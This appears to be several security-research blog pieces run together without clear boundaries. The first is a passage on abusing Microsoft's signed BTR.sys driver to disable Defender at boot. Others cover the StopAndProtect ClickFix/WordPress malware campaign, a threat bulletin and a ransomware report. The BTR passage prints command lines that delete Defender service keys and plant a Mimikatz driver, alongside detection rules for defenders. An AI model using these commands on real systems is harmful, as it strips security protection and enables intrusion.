The Operational Constraint: Why Start=0 is Impossible
The operational premise of BTR.sys suggests a capability to execute during the earliest stages of the operating system boot process. However, empirical testing confirms a hard architectural constraint: BTR.sys cannot function as a SERVICE_BOOT_START (Start=0) driver.
While standard EDR kernel minifilters utilize Start=0 to register callbacks immediately upon kernel initialization, BTR.sys was designed by Microsoft to perform file I/O operations (reading the ADS configuration and creating logs) directly within its DriverEntry routine. During Phase 0 of the boot process, the Windows Object Manager has not yet established the SystemRoot symbolic link (used by BTR.sys), and the storage stack is not fully initialized. Consequently, forcing BTR.sys to Start=0 results in immediate failure.
Therefore, the driver must be configured as SERVICE_SYSTEM_START(Start=1). To maximize its offensive utility, it is assigned to the “Boot Bus Extender” load order group. This configuration places it at one of the earliest practical execution slots available in Phase 1, immediately following the initialization of the filesystem (Ntfs.sys) and the transition from the OS Loader to the Kernel I/O Manager. Notably, this configuration mirrors the exact mechanism MpEngine.dll employs to stage the driver during a legitimate Windows Defender remediation event.
Load Order Analysis & Service Group Priority
The Windows Kernel enforces a strict temporal hierarchy by scanning the ServiceGroupOrder registry key in two distinct passes. First, the OS Loader loads allStart=0 (Boot) drivers during Phase 0. Once Phase 0 concludes, the Kernel I/O Manager scans the list again to load Start=1 (System) drivers during Phase 1. It is within this specific phase that the “Boot Bus Extender” group provides a strategic advantage. While Start=0 security filters (e.g., WdFilter) are already active, BTR.sys executes at the very beginning of Phase 1, effectively preempting other critical security drivers (e.g., UCPD, WdNisDrv) that reside in lower-priority groups like “FSFilter Activity Monitor” (see the default Windows 11 25H2 ServiceGroupOrder):
System Reserved
EMS
WdfLoadGroup
Boot Bus Extender <-- BTR.sys executes here (Start=1)
... (23 Groups) ...
FSFilter Replication
FSFilter Anti-Virus <-- WdFilter (the Group is lower, but Start=0)
FSFilter Undelete
FSFilter Activity Monitor <-- UCPD.sys (Start=1)
... (24 Groups) ...
NDIS <-- Network Drivers
... (14 Groups) ...
This architectural positioning creates a “Golden Window” – a specific timeframe where the filesystem is writable, but high-level security services and user-mode protection agents have not yet started.
Boot Logging Verification (Procmon Analysis)
Boot-time logging via Process Monitor provided definitive proof of this execution timeline. The events captured during a reboot cycle on a fully updated Windows 11 25H2 environment revealed the following sequence. Note that while Procmon’s boot logging may introduce slight latency, the relative order of execution is architecturally deterministic and remains consistent.
Figure 17: Procmon – boot-time logging.
Phase 0: Kernel Initialization (Start=0 Boot) The kernel initializes the filesystem and early-launch security drivers.
2:45:28.3130411 AM – WdBoot.sys (Defender ELAM Boot Driver) loads.
2:45:28.3130685 AM – WdFilter.sys (Defender Minifilter) loads.
2:45:28.3130700 AM – Ntfs.sys (Filesystem) loads.
Observation: Security filters are active, but operating in a limited standalone capacity without real-time user-mode intelligence.
Phase 1: The “Golden Window” (Start=1 System) The kernel transitions to System Start. BTR.sys (renamed mlrmqchs.sys for testing) executes immediately due to its “Boot Bus Extender” group.
2:45:28.6353170 AM – mlrmqchs.sys(BTR Driver) loads.
Action: The driver executes its payload (file/registry modification) here.
2:45:28.6915450 AM – UCPD.sys (User Choice Protection Driver) loads.
Result: The BTR driver preempts UCPD, allowing modification of protected user choice registry keys before the protection driver is loaded.
Phase 2: User Mode Initialization (Start=2 Automatic / Start=3 Manual) The Service Control Manager (SCM) begins starting services. This occurs significantly later.
2:46:02.7308562 AM – MpDefenderCoreService.exe loads.
2:46:02.9603201 AM – MsMpEng.exe (Defender Service) loads.
Result: The primary AV service starts roughly 34 seconds after the BTR driver has finished its work.
2:49:23.4912735 AM – WdNisDrv.sys (Network Inspection Driver) loads.
Result: The network inspection driver, triggered on-demand by the platform, loads nearly 4 minutes later.
EDR/AV Bypass Capabilities
By exploiting this load order gap, BTR.sys functions as a potent neutralizer for security solutions, including Microsoft Defender and potentially third-party EDRs.
Filesystem Neutralization: Although WdFilter is already loaded, the absence of the user-mode service (MsMpEng.exe) renders it susceptible to “legal” operations performed by a signed Microsoft kernel driver. Tests confirmed the successful deletion of example protected binaries such as WdFilter.sys, MsMpEng.exe and WdNisDrv.sys during boot. Since the MsMpEng.exe service binary is removed significantly before the Service Control Manager even attempts to launch it, the security solution fails to start entirely, preventing self-healing, cloud reporting, etc.
Registry Tamper Protection Bypass: Tamper Protection is primarily enforced against user-mode processes. BTR.sys, operating in kernel mode, successfully deleted critical Service Registry keys (e.g., HKLM\SYSTEM\CurrentControlSet\Services\WdFilter) during runtime. This “blinds” the OS, preventing the WdFilter.sys driver from loading on the subsequent reboot.
ELAM Irrelevance: While Early Launch Anti-Malware (WdBoot.sys) protects the initial boot chain, its role is limited to evaluating boot-start drivers during early initialization. BTR.sys executes in this post-ELAM environment (Start=1), meaning it is not evaluated by ELAM-related boot-driver checks. Furthermore, even if this architectural gap did not exist, BTR.sys carries a valid Microsoft signature, meaning it would normally pass signature enforcement, though this does not guarantee permanent trust or classification as “Known Good” in all contexts.
Conclusion: The BTR.sys driver, when manually staged to execute at the next boot, effectively bypasses the active protection stack by operating in the interval where the kernel is active but the security suite’s intelligence is dormant. Furthermore, tests demonstrated a successful Tamper Protection bypass at runtime.
Demo PoC: BTR_CLI – WIN 11 25H2 – KILL CHAIN
The following demonstration video presents a complete “Kill Chain” scenario on a fully updated Windows 11 25H2 machine with all security features enabled. The Proof-of-Concept utilizes BTR_CLI (BTR.sys) to systematically dismantle the Windows Defender security stack from Ring 0, rendering the system defenseless against a known malicious sample.
The demonstration follows these specific stages:
Baseline & Tamper Protection Verification: We attempt to extract a well-known driver universally classified as malicious (mimidrv.sys – part of the Mimikatz post-exploitation tool) and modify Defender registry keys using standard Administrator privileges. Both actions are immediately blocked by Windows Defender and Tamper Protection.
Phase 1: Runtime Tamper Protection Bypass: Using the trigger now mode, we instruct the BTR.sys driver to delete the Service Registry keys for the Defender Kernel Filter and the Antimalware Service. Since the operation originates from a signed Microsoft kernel driver, Tamper Protection is successfully bypassed.
BTR_CLI.exe -chain -item "4|HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" -item "4|HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" -trigger now
Phase 2: Boot-Time Neutralization (“Golden Window”): Using the trigger boot mode, we schedule the physical deletion of the Defender binaries (WdFilter.sys and MsMpEng.exe). These operations execute during the “Golden Window” (Phase 1), after the filesystem is writable but before the Defender user-mode service can start or lock the files.
Result & Arbitrary Write: After a system reboot, we verify that the critical Defender binaries have been permanently deleted. The malicious mimidrv.sys is then extracted without detection. Finally, we demonstrate an arbitrary write primitive by moving the malicious driver into the protected System32\drivers directory using the BTR.sys driver.
BTR_CLI.exe -a 3 -s "C:\Users\admin\Desktop\mimidrv\mimidrv.sys" -d "C:\Windows\System32\drivers\mimidrv.sys"
Because BTR.sys is a legitimate Microsoft-signed component, signature-based blocking is ineffective. Furthermore, a well-crafted weaponization tool (like BTR_CLI) intentionally mimics the operational footprint of the legitimate Windows Defender remediation process.
Based on telemetry analysis using Sysmon (System Monitor), robust detection must rely on behavioral context, Alternate Data Stream (ADS) monitoring, and kernel-execution attribution.
Alternate Data Stream (ADS) Anomalies (Sysmon Event ID 15 – High Fidelity) The most distinct operational characteristic of BTR.sys is its reliance on Alternate Data Streams for configuration. Sysmon telemetry (Event ID 15) captures this behavior with high fidelity.
Configuration Write (Universal): Both legitimate usage and abuse involve creating an ADS named :changelist on the driver file. Sysmon captures the encrypted RC4 payload directly in the Contents field.
Feedback Write (Differentiator):
Abuse (BTR_CLI): The tool directs the driver to write the feedback report into a secondary ADS on the driver itself (e.g., Random.sys:Random.dat).
Legitimate (MpEngine.dll): The engine directs the driver to write the feedback report to a standalone file, typically in a protected path like C:\ProgramData\Microsoft\Windows Defender\Scans\RebootActions\.
Detection Logic: Alert on FileCreateStreamHash (Event ID 15) where TargetFilename ends in .sys:changelist. Secondarily, alert on .dat streams created on .sys files (specific to current PoC tool).
Figure 21: Sysmon ID 15 capturing the “BTR_CLI” writing the encrypted configuration to the “:changelist” ADS.
Kernel-Mode Execution Context (Sysmon Event ID 23) When BTR.sys executes actions, for example, file deletion (Action 1), the operation occurs in Ring 0.
Sysmon logs the File Delete (Event ID 23), but the Image performing the deletion is recorded as System (PID 4), not the user-mode tool that triggered it.
Detection Logic: Correlate System (PID 4) deleting arbitrary files (especially security binaries) immediately following a DriverLoad (Event ID 6) of a binary matching the BTR.sys hash.
Figure 22: Sysmon ID 23 capturing the “System” deleting “example.txt” immediately following a DriverLoad.
Driver Deployment & Lineage (Sysmon Event ID 6) The origin of the driver load is a critical metric.
Legitimate Usage:BTR.sys is dropped and registered by legitimate Windows Defender processes (e.g., MsMpEng.exe).
Abuse Indicator: Alert on DriverLoad (Event ID 6) where the Signature is Microsoft Windows and the Hashes match known BTR.sys versions, but the ParentImage or Image responsible for dropping the file is outside the Defender ecosystem (e.g., cmd.exe, powershell.exe, or unknown binaries).
Stealth Registry Staging (Sysmon Event ID 12, 13 vs. Event ID 7045) There is a subtle operational difference between how Defender and the current PoC load the driver.
Legitimate (MpEngine.dll): Uses the Service Control Manager (SCM) via CreateServiceW. This generates standard Windows Event Logs (e.g., System Event ID 7045 – A service was installed).
Abuse (BTR_CLI): Directly interacts with the Registry to create the service keys (HKLM\SYSTEM\CurrentControlSet\Services\{Random}) and calls the undocumented NtLoadDriver syscall. This bypasses SCM, meaning Event ID 7045 will not trigger.
Detection Logic: Alert on RegistryEvent (Event ID 12/13) creating a service key where the Args value contains :changelist and Group is set to Boot Bus Extender, especially if unaccompanied by a standard Service Installation event.
Anti-Forensics Telemetry (Sysmon Event ID 11 & 23)
Monitor for the rapid creation (Event 11) and subsequent deletion (Event 23) of \SystemRoot\Temp\BootClean.log by the System (PID 4) process. This log creation is hardcoded in the driver and occurs regardless of the caller.
Figure 23: Sysmon ID 11 capturing the “System” creation and subsequent deletion (ID 23) of “BootClean.log”.
Mitigation Recommendations
Restrict Privileges: The abuse of BTR.sys fundamentally relies on the attacker possessing SeLoadDriverPrivilege. Enforcing the principle of least privilege and strictly monitoring the assignment and usage of this right is the primary defense.
Behavioral EDR Rules: Configure EDR solutions to alert on security-tool drivers executed outside their expected process lineage, regardless of their digital signature.
Holistic LOLDriver Defense: Recognize that the Microsoft Vulnerable Driver Blocklist (WDAC) does not protect against the abuse of functionally intended drivers like BTR.sys. Defense-in-depth must include monitoring the context of driver loads and ADS creation, not just driver hashes.
In-The-Wild Status
During our analysis across all collected samples and telemetry sources, we did not observe evidence of real-world abuse of BTR.sys in the manner demonstrated in this research. This suggests the technique is currently unknown or unused by threat actors, making proactive detection engineering feasible before weaponization appears in the wild.
Conclusion
This research shows that the BTR.sys driver, originally designed as a defensive remediation component, exposes a powerful and fully functional kernel-mode execution primitive when its internal protocol is understood. By reversing its encrypted transaction format, integrity validation scheme, and execution logic, we demonstrated that a trusted, signed Microsoft driver can be instructed to perform arbitrary file and registry operations from Ring 0 without exploiting any vulnerability.
The creation of the BTR_CLI tool was a key milestone in validating our findings. The tool automates payload construction, encryption, integrity calculation, driver extraction, execution, and cleanup. This allowed us to reliably reproduce kernel-level operations across all tested Windows 7-11 versions and across every analyzed BTR.sys build. Its successful operation confirmed that:
The configuration protocol remains stable across versions.
The RC4 key is universally reused.
The transaction structure is backward compatible.
The primitive is deterministic and reliable.
This effectively repurposes a specialized defensive component into a versatile, signed kernel-mode primitive capable of arbitrary file and registry manipulation.
More broadly, this work highlights an important defensive lesson: trusted security infrastructure can unintentionally expose attacker-usable primitives when its internal mechanisms are undocumented but reachable. The issue is not a vulnerability in the traditional sense, but rather an architectural trust boundary that can be crossed if an attacker already has administrative privileges.
Following responsible disclosure, MSRC confirmed that these findings do not meet the criteria for immediate servicing, as the technique relies on pre-existing administrative privileges (SeLoadDriverPrivilege). This classification establishes BTR.sys as a potent “Living-off-the-Land” driver (LOLDriver). Crucially, unlike third-party drivers often neutralized by the Microsoft Vulnerable Driver Blocklist or tracked by the LOLDrivers project, BTR.sys is an essential, built-in Windows component. It remains fully allowed and operational, enabling advanced evasion without the risks or constraints associated with traditional BYOVD techniques.
As defenders increasingly rely on signed binaries as indicators of trust, research like this demonstrates why behavioral context, execution lineage, and intent analysis must complement signature-based trust models.
StopAndProtect is a newly identified operation that combines file encryption with data theft. The criminals abuse thousands of hacked WordPress websites as their infrastructure – using them to spread the malware, control infected machines, and store stolen documents, screenshots, and activity logs (records created by malware to track its actions, progress, or status during execution).
Operational security (OPSEC) failures by the developer exposed lots of files, including detailed infection logs from victims’ machines, screenshots from infected computers, and source code of tools the criminals use to mass-manage compromised websites.
Internal logs reveal thousands of IP addresses affected by this operation, underscoring that this is not a small, isolated incident but a large-scale campaign that targets victims across many regions and networks, where most IPs belong to the US, Russia, and India.
The operation doesn’t rely on a single piece of malware, but on a whole toolkit of criminal software working together – some components encrypt files, others silently steal documents or lock the screen, and another acts as a live chat between the attackers and their victims.
Introduction
We first noticed a ransomware family called StopAndProtect in the middle of May 2026. Further analysis of the infrastructure reveals that the infection chain starts with a ClickFix social-engineering technique, which prompts victims to execute a PowerShell command. This leads to two stages of additional downloaders and loaders written in .NET, followed by several main functional components, such as ransomware, SMB/USB worm, LockScreen, VBS spreader, chat utility and credential stealer.
Although the name StopAndProtect was originally given to the ransomware component, we decided to call the whole operation StopAndProtect, as it does not deploy ransomware on all its victims. In many cases, the attackers silently exfiltrate lists of files and later specific files from the infected machines.
All these stages collect telemetry and generate and upload logs, giving malware operators a detailed view of the progress of the infection on the affected machines.
Malware operators use hacked WordPress sites as infrastructure to host malware stages, as C&C servers to pass commands, as well as the storage of logs exfiltrated from victims. Due to their carelessness and not following proper operational security measures, we discovered a PHP script exposing a directory listing, which led to the discovery of even more log files and open directories. Parsing those logs can provide us with an overview of the size and magnitude of the overall operation.
In one scenario, we suspect that the malware operator infected themselves and accidentally uploaded some of their desktop files to the collection server. This archive contains the source code of an automation tool for managing injected payloads at scale on compromised WordPress sites. It also contains a few text files listing close to 2,000 compromised WordPress domains, giving us a hint about the size of the operation.
There are many vulnerable WordPress websites simply because their owners do not keep them updated. This is true not only for WordPress itself but also for installed plugins.
Out of curiosity, we scanned one compromised WordPress website and found that it was running a WordPress version from 2021—almost five years old. The scan identified nearly 40 different vulnerabilities, including expired certificates, SQL injection flaws, open redirects, authentication bypasses, authenticated arbitrary file uploads, and more.
Infection chain
When visiting a compromised website, an unsuspecting victim sees a fake CAPTCHA ClickFix prompt. If the victim falls for the ClickFix prompt and infects themselves, there are multiple stages of infection, all using compromised WordPress sites to download additional stages, upload logs, or download instructions on which machines to encrypt and which files to steal.
Figure 1 – ClickFix, step 1
Figure 2 – ClickFix, step 2
The infection chain follows the sequence and schematics shown below:
The first stage of the PowerShell script submits an execution log to the base C&C server and downloads and executes the second stage of PowerShell. The second PowerShell stage downloads the base64-encoded .NET stage 1. It decodes it and loads it into memory. It then enumerates types from the .NET assembly. For each type, it lists all of its methods, and if a method name is Execute and it is static and has no parameters, it then creates a new instance of that type and invokes the found method.
.NET stage 1 is a simple downloader, which reports more statistics to base C&C servers and decodes and loads the stage 2.
.NET stage 2 is a persistent downloader and loader that contains sandbox checks and even more logging.
.NET stage 3 includes several components. Their analysis will be discussed in the Malicious payload sections.
Figure 3 – Infection Chain
PHP scripts with file listings
While analyzing files belonging to stages 1, 2 and 3, we extracted compromised WordPress websites acting as base C&C servers. One of these stages downloaded the next component from a dwnen.php endpoint. When we queried the endpoint without any parameter, we were presented with the following file listing. We could download all files except for .php files, and we could even list some of the folders as they allowed directory listings. This helped us a lot with collecting interesting files and samples, because without file listings we would not know which files had been hosted on the exposed server.
Figure 4 – PHP script revealing directory listing
PHP files used for file management
While listing files on known compromised websites, we noticed a few custom PHP scripts uploaded by the attackers. Some of these PHP files displayed password-protected forms for the custom file management utilities. These utilities are general file explorers, secure uploaders and secure downloaders.
Figure 5 – Password-protected file manager
The screenshot from the utility below shows a script for secure file upload. The operator needs to know a password to upload a new file into the compromised website.
Figure 6 – Password-protected file uploader
The screenshot from the utility below shows a script for secure file deletion.
Figure 7 – Password-protected script for file deletion
Open directories
Some directories contained lots of logs, usually one log file per infected machine.
Figure 8 – Open directory with logs
One open directory even contained victims’ startup, activity, lock screen and final screenshots. Some of these screenshots show victims’ desktops, displayed ransom messages, visited websites, watched YouTube videos, browsers opened to antivirus companies’ websites, opened antivirus programs’ windows, listings of encrypted files, opened office documents, etc. During our monitoring period, from mid-May to the end of July 2026, we collected approximately 31,000 screenshots.
Figure 9 – Open directory with uploaded victims’ screenshots
Backdoor installer
On one of the hacked servers, we retrieved a ZIP archive, which helped us understand how the actor operates. It contained mu-uploader-installer.php which is an installer for a custom WordPress plugin. After successful installation, it behaves like a hidden file uploader.
On activation, it creates a must-use (MU) plugin file in wp-content/mu-plugins/wp-sec.php.
That must-use (MU) plugin
adds a hidden REST API endpoint: wp-sec/v1/upload.
It authenticates with hardcoded credentials.
It lets anyone who knows valid credentials upload files to almost any path under the WordPress root.
It explicitly allows uploading .php files, enabling remote code execution if used maliciously.
Then it deactivates itself and self-deletes, making it harder to notice.
In WordPress context, “MU” means must-use plugin:
Files in wp-content/mu-plugins load automatically on every request.
They do not appear/manage like normal plugins in the standard Plugins UI.
Attackers often use MU plugins for persistence.
Figure 10 – Open directory containing installed malicious must-use plugin
Knowing the username and password, the threat actor can then upload files to the infected website by POSTing to the {BASE_URL}/wp-json/wp-sec/v1/upload endpoint.
Uploaded files from victim’s machines
Some of the hacked WordPress servers contain directories with data stolen from victims. The data is sometimes in ZIP archives, sometimes these ZIP archives are AES-CBC encrypted with the same key, which we could extract from Stage 3 components. From mid-May to the end of July 2026, we collected more than 700 archives.
The uploaded archives contain the following naming conventions:
We collected a few hundred files exfiltrated from victims’ machines, and we believe that in one instance the threat actor infected themselves, as one archive contained several unusual files with suspicious content. Later in this section, we explain what each of these files contains. This also helps us better understand how the actor operates and how many compromised domains they likely control.
All files in the given archive had the following prefix, G-a_new_hack-0a_botnet-fake-capcha-a-master-4-a-updater-plugin-send-new-plugin, suggesting that it is a sanitized version of G:\a_new_hack\0a_botnet\fake-capcha\a-master\4-a-updater-plugin-send-new-plugin\. The internal project names are 0a_botnet and fake-captcha. The following list of interesting files was extracted from the particular archive and analyzed.
a-MASTER-CAPCHA-EXISTS-QUICK.txt contains ~1400 domains, some of them still displayed fake captcha ClickFix.
a-wp-cssv-uploaded.txt contains ~300 domains, based on name likely a log of a successful upload of WordPress plugin
de-activator.txt is a php source code with de-activator of litespeed-cache WordPress plugin
fMain.frm is a custom automation tool for mass-managing compromised WordPress sites. After installing a Visual Basic 6 editor, the following GUI window appears in the form editor. It is quite surprising to see someone still using Visual Basic 6, which is an old-school tool, released almost 30 years ago, whose support ended almost 20 years ago. This automation tool allows the botnet operator to mass-manage compromised WordPress pages. It uses secure upload and delete PHP scripts on compromised websites to upload or delete additional files, activate or deactivate fake-captcha ClickFix, activate or deactivate caching, etc.
store.txt is a PHP file used by the operator to set/update where payload traffic or redirects should point, without re-uploading code. It updates the value of the text file
wp-cssv.php is a Secure File Manager, which is a single-file web shell with upload and delete capability.
wp-verifyup.php is a File Explorer with Remote Fetch & Multi-Server Fallback.
File structure of compromised WordPress websites
The compromised websites contain a malicious verify plugin, which overlays the original content with a fake captcha for Windows visitors. The verify plugin consists of three PHP scripts and one txt file with the base URL or keyword off in case the fake captcha is disabled. The store.php script is used to modify the content of the stored_url.txt file. Proxy.php fetches a remote log file. Verify.php registers the wp and init action hooks, and drops the previously mentioned store.php, proxy.php and stored_url.txt files. It also sends statistics to the base URL.
Timeline of infection observed on one of the compromised WordPress websites. The threat actor installed the following files at the given times:
file/folder name
last modification time
description
wp-uploading.php
04/24/2026 9:55 PM
Secure Upload – Overwrite & Auto-Create Folder
wp-delete.php
04/24/2026 9:55 PM
Secure File Deletion
wp-config.php
05/02/2026 8:27 PM
disabled cache plugin by removing:define( 'WP_CACHE', true );
wp-content/plugins/verify folder
05/06/2026 11:53 AM
wp-content/mu-plugins folder
05/17/2026 8:42 PM
store.php
05/19/2026 5:13 PM
edits value of stored_url.txt
stored_url.txt
05/21/2026 9:04 PM
contains fake captcha base URL; or off when disabled
proxy.php
05/21/2026 9:08 PM
reads log file from base URL
verify.php
05/22/2026 7:12 AM
PHP plugin; creates proxy.php, store.php on first run; sends stats report to <base URL>/wreport.php; fake captcha code itself
To activate the verify.php plugin, the actor also uploads an activator.php script, which will perform the plugin activation and later deletes itself, thus this file is not shown in the listing above.
Technical Analysis
ClickFix
The initial fake-captcha ClickFix page displays a human verification prompt and logs visitors’ IP addresses, then copies the command into the clipboard. In the figure below, you can see the value of the command variable with the PowerShell script that the victim executes.
SilentEncryptor is the ransomware component. It downloads a file from the base C&C, which contains a ransomware command. This file gives instruction on whether the ransomware should encrypt all currently infected computers or only computers with given host names, and it also contains the ransomware message displayed to the victim. The key derivation function uses the per-file password and machine name to generate a 32-byte key. Both per-file password and machine name are present in the name of the encrypted and renamed file, making decryption of files possible.
Figure 12 – Lock screen displayed to victims after their files have been encrypted
NetworkShareScanner behaves as an SMB/USB worm, enumerating network shares and plugged-in USB devices to spread beyond the initial infected machine.
VBS spreader propagates to hard disks and removable media, scans the network, and laterally moves using remote process creation via WMI.
LockScreen component blocks user input and displays ransom message with payment QR code.
Figure 13 – Payment details displayed to victims after their files have been encrypted
SimpleChatProxy is a custom chat application for communicating between victim and operator (master). The victim’s input is blocked, and the master’s window contains a button for sending an image to a client. SilentEncryptor or SilentDataCollector may download and execute the custom chat.
Figure 14 – Custom chat application as seen from victim’s machine
Figure 15 – Custom chat application as seen from malware operator’s machine
SilentDataCollector is a stealer, which generates a list of all files on all drives (fixed, removable, network drives), encrypts and exfiltrates this list to the base C&C. The operator can direct file collection by uploading a command file to the base C&C server. The stealer then reads this command file and compresses, encrypts, and exfiltrates desired files to the base C&C server. Newer versions also implement additional features, such as a keylogger with valid email address detection, contact exfiltration from WhatsApp, mapping and unmapping network shares, and capturing screenshots of user activity at 30-second intervals while the victim is active. An operator may issue a WhatsApp search keyword; both the web and desktop versions are supported. The stealer waits until the victim becomes inactive and then uses WhatsApp automation to focus the search box, enter the specified keyword (contact name), open the contact information, and capture a screenshot.
Among the exfiltrated files, we discovered the following screenshot. The actor searched for the first name of a contact of interest (entered into the WhatsApp search box via automation). The contact information displayed also reveals the associated phone number.
Figure 16 – Screenshot of WhatsApp contact details exfiltrated by the stealer
This is very likely a hands-on-keyboard operation. We have also seen components combining more than one of the previous features, such as ransomware and file collection combined into a single file.
Logs processing and statistics
Having lots of logs gives us a rare opportunity to have better visibility into the overall campaign size. Although some of the logs belong to various sandboxes and researchers’ machines, the majority still appear to be real victim machines. This still gives us valuable insight into the overall campaign size.
Statistics as of 24/07/2026 – more than 6000 unique IP addresses.
Figure 17 – Overall victim distribution
country
unique IPs
US
1852
RU
630
IN
630
We got access to one of the base URL servers, which contained logs of fake captcha hits. Similar to the map above, we collected all unique IPs and drew one more distribution map. Compared to the previous statistics from the logs, this section contains counterintuitively fewer IPs and a lower number of hits, which in a real scenario has to be exactly the opposite, as not every ClickFix hit leads to infection. We have to note that these statistics are limited, as they contain logs only from one particular server, from which we collected logs. We also suspect that the ClickFix log file was reset a few times, so after each reset the older statistics were lost. The graph below shows close to 600 unique IPs related to ClickFix statistics.
Statistics of fake captcha hits as of 24/07/2026 – close to 600 unique IP addresses, limited to one base C&C server.
Figure 18 – Victims from specific server
country
unique IPs
US
111
IN
110
UA
29
Victims’ screenshots statistics
There was an open directory with victims’ screenshots. Until the server was cleaned by the administrator, we managed to collect about 400 unique screenshot files, belonging to close to 200 unique infected machines. An open directory containing activity screenshots from victims contains more than 20,000 individual files.
Protections
Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operating systems and protect against the attacks and threats described in this report.
For the latest discoveries in cyber research for the week of 17th August, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
Colombia’s Ministry of Justice has experienced a ransomware attack that affected part of its technology infrastructure and disrupted public services related to illicit-drug monitoring and legal processes. Officials confirmed that some files were encrypted but stated that no data theft was detected during the incident.
MyDr, Poland’s primary healthcare platform for appointments, medical records, and prescriptions, has suffered a data breach potentially affecting nearly 19 million citizens. Attackers claimed to hold 2.5TB of information and shared a senior politician’s identification details, phone numbers, and prescriptions as evidence of the compromise.
Levi Strauss & Co., the global American apparel company, has reported a cyberattack after attackers used social engineering to compromise three employee devices and steal corporate information. According to the firm, preliminary findings indicate no consumer data was accessed or copied. The company notified affected individuals and relevant regulators.
IEH Corporation, a US defense and aerospace component manufacturer, has confirmed a phishing compromise of an employee’s Microsoft 365 mailbox. Attackers used a fraudulent document-sharing link to steal credentials, potentially exposing customer communications, purchase orders, engineering documents, and export-controlled technical information.
AI THREATS
Researchers detailed a suspected China-linked campaign that used autonomous AI agents against Taiwanese government systems. The operation reportedly mapped 21 systems, compromised 85 accounts, and obtained 2,500 personnel records before expanding toward a nuclear safety organization and seven companies in the energy sector.
Researchers outlined how North Korea-linked Kimsuky is building an offline AI environment to support phishing, intelligence analysis, and malware development. The setup combines locally hosted language models with document retrieval, code resources, and transcription capabilities, potentially allowing operators to automate additional stages of cyberespionage activity.
Researchers found that encrypted reasoning blocks used by OpenAI, Anthropic, and Google APIs could be replayed across sessions. Analysis of more than 315,000 blocks recovered hundreds of sensitive artifacts from published agent logs, including API keys, passwords, authentication tokens, and private cryptographic keys.
VULNERABILITIES AND PATCHES
Microsoft has released its August Patch Tuesday security updates, addressing 421 vulnerabilities across Windows, Office, SharePoint, Exchange Server, Azure and other products. The fixes include 42 critical flaws and CVE-2026-68820, an actively exploited Windows Ancillary Function Driver for WinSock vulnerability that allows local attackers to gain SYSTEM privileges.
Apple released patches for CVE-2026-65400, a critical macOS Screen Sharing authentication vulnerability with a CVSS score of 9.8. The flaw allows network attackers to authenticate without valid credentials. Active exploitation against internet-exposed systems has resulted in root access and deployment of Monero cryptocurrency miners.
Adobe released a fix for CVE-2026-71362, a critical authentication vulnerability affecting Adobe Commerce and Magento Open Source. Attackers began exploiting the flaw shortly after public disclosure. Successful exploitation enables unauthorized session switching, potentially allowing account takeover and access to information associated with affected accounts.
Zoom addressed three critical vulnerabilities in Zoom Workplace, including CVE-2026-53413, that could enable remote code execution during a meeting. The flaws affected annotation functionality and required no interaction from the targeted participant. Fixed releases include versions 7.0.6 and 7.1.5 for fast-track users.
THREAT INTELLIGENCE REPORTS
Check Point Research has exposed a new wave of the Lazarus-linked Operation Dream Job targeting defense organizations in Europe, India and Brazil. Attackers used fraudulent job opportunities and trojanized PDF software to deploy malware, while exploiting Windows zero-day CVE-2026-68820 to obtain SYSTEM privileges and disable security visibility.
Check Point Research has assessed ransomware activity during Q2 2026, identifying 2,139 publicly reported victims, up 33% year over year. The ransomware ecosystem expanded to 93 active groups, while leaked communications showed The Gentlemen using AI coding assistants to accelerate development of operational tooling.
Check Point Research have reported that organizations experienced an average of 2,336 weekly cyberattacks during July 2026, representing a 16% year-over-year increase. Ransomware activity also accelerated, while generative AI usage continued exposing corporate information through high-risk prompts submitted to external AI services.
Researchers revealed a China-linked Jewelbug campaign using XG-Web to conduct espionage against government and military organizations while supporting cryptocurrency fraud. The operation collected approximately 580,000 browser cookies, thousands of credentials, and 2,300 emails through compromised web infrastructure and malicious cryptocurrency services.
For the past year, the ransomware conversation has centered on concentration: a handful of dominant RaaS operations controlling most of the damage, and a shrinking pool of active groups fighting over the same territory. The State of Ransomware Q2 2026 report from Check Point Research shows that picture starting to shift. The leaders are still winning, but the road to joining them has gotten a great deal shorter.
Key observed findings
The ecosystem stayed concentrated even as its tail widened considerably. The top 10 groups accounted for 57.6% of all victims, down from 71% in Q1, while the number of active groups climbed from 71 to 93, a new high for the period tracked in this report.
Victim volume held at an elevated baseline and did not meaningfully change QoQ. Data leak sites recorded 2,139 victims in Q2, essentially flat versus Q1 (up 0.8%) and up 33% year over year, keeping pace with the highs set through 2025.
Qilin and The Gentlemen fought a close race for the top spot all quarter. Qilin remained the most prolific operator for a fourth straight quarter with 279 victims, though its count fell 17%, while The Gentlemen surged 62% to 269 victims and actually outpaced Qilin during the month of June.
An internal leak gave an unprecedented look inside The Gentlemen’s operation. Chat logs and platform data exposed a core team of roughly nine operators supported by a broader affiliate base, along with confirmation that the group used AI coding assistants to build its ransomware management panel in about three days, genuine first party evidence of AI accelerating malicious tooling development.
Ransom payment rates fell to a multi year low near 23%, continuing a six year decline from 85% in 2019. Even so, on chain ransomware payments still exceeded $820 million in 2025, and the payer market itself is splitting: average payments are rising even as the median falls, a sign that large enterprises keep paying heavily while the mid market increasingly holds firm or settles small.
Law enforcement concentrated its Q2 efforts on shared infrastructure rather than individual groups. Actions took down a cryptocurrency laundering platform used by multiple ransomware actors, prompted sanctions against major Iranian digital asset exchanges, dismantled a malware signing service abused by several RaaS operations, and disrupted large infostealer and VPN anonymization networks that many groups depend on at once.
The geographic picture shifted meaningfully. The US share of victims fell from 50% to 42% quarter over quarter, largely because the quarter’s fastest growing groups, including The Gentlemen and the newly active Krybit, target the US far less often than the ecosystem average.
The exploitation window kept narrowing, with AI increasingly cited as the accelerant. Vulnerabilities are now being weaponized within hours to days of disclosure, lowering the cost of exploit development and giving ransomware operators one more edge in the race to reach victims first.
To read the full findings, access the State of Ransomware Q2 2026 report from Check Point Research here.
Check Point Research is tracking a long‑running campaign called Operation Dream Job, targeting organizations worldwide, with a particular focus on the defense sector. The campaign is affiliated to DPRK-linked Lazarus group and its latest wave focuses on the defense sector in Europe and India.
In the latest variant of the Operation Dream Job campaign, the threat actor distributed SecurityPDF, a modified PDF viewer designed to open attacker-crafted PDF documents and execute a new backdoor which we named Troy.
